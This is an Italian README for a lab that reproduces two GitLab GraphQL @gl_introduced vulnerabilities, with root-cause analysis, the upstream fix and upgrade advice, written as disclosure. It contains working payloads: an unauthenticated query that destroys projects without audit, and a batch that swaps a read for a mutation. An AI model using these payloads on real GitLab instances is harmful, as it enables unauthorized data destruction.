
Fornisce exploit PoC e analisi delle cause profonde per due vulnerabilità della direttiva `@gl_introduced` di GitLab GraphQL: esecuzione di metodi non autenticata e scambio di documenti in batch, con patch a monte ed evidenze dal vivo.
@gl_introducedUn laboratorio di riproduzione per due bug correlati nella funzionalità di filtro di versione (version-filter) GraphQL di GitLab (la direttiva @gl_introduced). Entrambi risiedono nella stessa area funzionale, sono corretti dalla stessa patch upstream ed entrambi consentono a una richiesta GraphQL di raggiungere percorsi di codice che non ha mai dichiarato:
destroy) sul modello dietro qualsiasi tipo GraphQL, semplicemente nominando un campo che non esiste e contrassegnandolo con @gl_introduced.| Versioni interessate | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| Versioni corrette | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Target del lab | gitlab/gitlab-ce:19.2.2-ce.0 (ultima build prima della correzione) |
| Innesco | direttiva GraphQL @gl_introduced, da sola o all'interno di un batch |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
Tutto ciò che si trova in src/ è sorgente upstream identica, mai reimplementata — il loader sovrappone src/vuln o src/patched sopra src/common.
Gitlab::Graphql::VersionFilter::FutureFieldFallback consente a una query di riferire un campo che non esiste ancora su un tipo senza che la richiesta fallisca — pensato per i deployment rolling, dove lo schema di un nodo vecchio non ha ancora un campo che un nodo più recente già fornisce. Il suo override di get_field controlla se il campo richiesto manca e se la richiesta è contrassegnata con contain_future_fields; in tal caso restituisce un campo sintetico invece di generare un'eccezione:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
Il problema: questo GraphQL::Schema::Field viene costruito senza metodo resolver, senza classe resolver, senza blocco. A quel punto si applica la risoluzione dei campi predefinita di graphql-ruby (gem graphql 2.6.3, lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym è il nome del campo, in notazione underscore — cioè esattamente la stringa che l'attaccante ha inserito nella query. Se l'oggetto dietro al tipo GraphQL (il modello ActiveRecord) possiede un metodo pubblico reale, senza argomenti, con quel nome, graphql-ruby lo invoca e ne restituisce il risultato (convertito al tipo atteso). fallback_value: nil si applica solo quando il metodo non esiste davvero — non fa nulla per impedire che un metodo reale venga eseguito.
Quindi: interroga un qualsiasi tipo per un campo chiamato come un metodo distruttivo reale — per esempio destroy — contrassegnalo con @gl_introduced così che arrivi all'esecuzione, e il metodo viene eseguito.
IntroducedTracer implementa il resto della funzionalità di filtro di versione attraverso due hook di trace di graphql-ruby — parse (una volta per operazione) e execute_query (una volta per operazione). Nella build vulnerabile lo stato per-operazione viene archiviato in semplici variabili di istanza sull'oggetto trace:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
Il problema: graphql-ruby condivide UNA singola istanza del trace tra tutte le operazioni di una richiesta multiplex e le analizza tutte prima di eseguirne una qualsiasi. Quindi in un batch a due operazioni:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 trasporta un campo futuro @gl_introduced)Dopo il parsing, sopravvive solo lo stato dell'ultima operazione. Poi parte l'esecuzione:
execute_query(op1) → il flag è true, quindi il documento di op1 viene sovrascritto con op2_doc e ri-preparato → lo slot di op1 esegue l'operazione di op2.op1 aveva dichiarato una lettura; esegue la scrittura di op2.
patch-19.2.2-to-19.2.4.diff chiude entrambi:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
Nessun header Authorization. Una sola operazione, nessun batch. destroy non è un campo reale di Project — non esiste affatto nello schema — ma la direttiva fa sì che FutureFieldFilter lo rimuova prima della validazione statica e attivi contain_future_fields per l'esecuzione, dove get_field restituisce un campo senza resolver chiamato destroy e graphql-ruby invoca project.public_send(:destroy).
Verificato dal vivo (evidence/live_vuln_fallback_field.txt, riprodotto tre volte su tre progetti usa-e-getta separati): inviata contro un progetto pubblico, la risposta è stata {"data":{"project":{"id":"...","destroy":true}}}. Un successivo controllo REST autenticato (GET /api/v4/projects/:id) ha restituito 404 — il progetto era realmente sparito. Il log delle richieste per quella chiamata mostra 9 scritture sincrone sul database e zero nuove righe AuditEvent: la chiamata bypassa completamente Projects::DestroyService (e con esso la trail di audit, i webhook e le notifiche) — è una cascata ActiveRecord#destroy grezza invocata direttamente attraverso la risoluzione predefinita dei campi di GraphQL.
sequenceDiagram
participant A as Attacker
participant C as GraphqlController
participant T as IntroducedTracer (one shared instance)
participant S as StarProject mutation
A->>C: POST /api/graphql [ {query: op1}, {query: op2} ]
Note over A: op1 = query { currentUser { username } } (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
C->>T: parse(op1)
Note over T: @original = op1_doc, future=false
C->>T: parse(op2)
Note over T: @original = op2_doc, future=TRUE (overwrites op1 state)
C->>T: execute_query(op1)
T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
T->>S: run starProject ← smuggled into the read slot
S-->>A: slot 1 returns { starProject: { count } } #59; star state changed
Payload di op2 — la direttiva @gl_introduced deve semplicemente trovarsi su un campo reale, così che al momento del parsing FutureFieldFilter attivi contain_future_fields e predisponga lo scambio:
mutation {
starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
count @gl_introduced(version: "99.0.0")
}
}
Verificato dal vivo (evidence/live_vuln.txt): lo slot 1, che aveva dichiarato query { currentUser { username } }, restituisce {"data":{"starProject":{"count":"0"}}} e il conteggio delle stelle del progetto passa da 1 → 0.
docker compose up -d # first boot runs migrations; wait for healthy (~10 min)
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
bash harness/live_test_fallback.sh
Lo script crea un progetto pubblico usa-e-getta tramite l'API REST autenticata (solo setup), invia una query GraphQL non autenticata che nomina un campo destroy contrassegnato con @gl_introduced, quindi ricontrolla il progetto via REST autenticata. Dichiara VULNERABLE se il progetto non esiste più.
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
bash harness/live_test.sh
Lo script legge lo stato di base delle stelle, invia il batch a due operazioni e dichiara VULNERABLE se lo slot 1, che aveva dichiarato una lettura, restituisce un payload starProject (e/o il conteggio delle stelle cambia).
Isola Gitlab::Graphql::VersionFilter in una piccola app graphql-ruby così che lo scambio sia visibile senza alcun rumore da GitLab. Carica la sorgente upstream reale.
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched # -> SAFE
Entrambi i vettori sono confermati dal vivo contro gitlab/gitlab-ce:19.2.2-ce.0. Comportano una diversa esposizione a livello di autorizzazioni perché colpiscono livelli diversi dello stack di GitLab.
Nessun token, nessun batch, una sola query. La risposta restituisce direttamente il risultato del metodo ("destroy": true) e il record sottostante viene effettivamente distrutto — confermato via REST autenticata (404) e tramite evidenze lato server (zero righe AuditEvent, 9 scritture sincrone in una singola richiesta), il che significa che bypassa completamente il normale servizio di eliminazione di GitLab. Riprodotto tre volte in modo indipendente, su tre progetti usa-e-getta separati. Qualsiasi tipo GraphQL il cui oggetto sottostante espone un metodo distruttivo reale senza argomenti è un candidato.
Con qualsiasi token che ha scope api, un'operazione che aveva dichiarato una lettura esegue una scrittura che non ha mai richiesto (conteggio stelle 1 → 0, guidato da uno slot di tipo query). Inviata senza token, lo scambio scatta comunque — lo slot di lettura raggiunge e risolve starProject — ma ogni mutazione di GitLab eredita Mutations::BaseMutation, il cui gate self.authorized? viene eseguito al momento dell'esecuzione:
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)
Per una richiesta anonima current_user è nil e GlobalPolicy esegue rule { anonymous }.policy { prevent :execute_graphql_mutation }. Una scansione di 10 configurazioni di batch (ordine, direttiva su campo / sottocampo / frammento inline, batch a 2 e 3 operazioni) senza autenticazione: lo slot dirottato colpisce il gate ogni volta e il conteggio delle stelle non si muove mai.
Questo gate è specifico delle mutazioni — non ha alcuna attinenza con 1a, che non tocca mai Mutations::BaseMutation; il campo fallback risolve direttamente contro il modello come un semplice campo di tipo query, senza alcun controllo di autorizzazione nel percorso.
src/common/demo_app.rb non ha alcun livello di autorizzazione — la sua mutazione si limita a scrivere. Quindi il PoC #3 dimostra il meccanismo dello scambio (uno slot di lettura che esegue una scrittura) in una sandbox senza autenticazione. Il GitLab reale applica il gate execute_graphql_mutation che la demo omette — specificamente per 1b. In questa build standard, una scrittura guidata da una mutazione senza credenziali non è raggiungibile tramite il solo 1b; è raggiungibile tramite 1a, che non richiede affatto una mutazione.
Aggiorna a 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 o successivi. La correzione (vedi il diff) fa due cose: future_field_fallback.rb assegna al campo fallback un resolver esplicito (Resolvers::NilResolver, che restituisce sempre nil) invece di affidarsi alla dispatch predefinita dei metodi di graphql-ruby, chiudendo 1a; introduced_tracer.rb limita lo stato per-operazione del tracer al documento specifico di ciascuna operazione invece di usare una variabile di istanza condivisa, chiudendo 1b.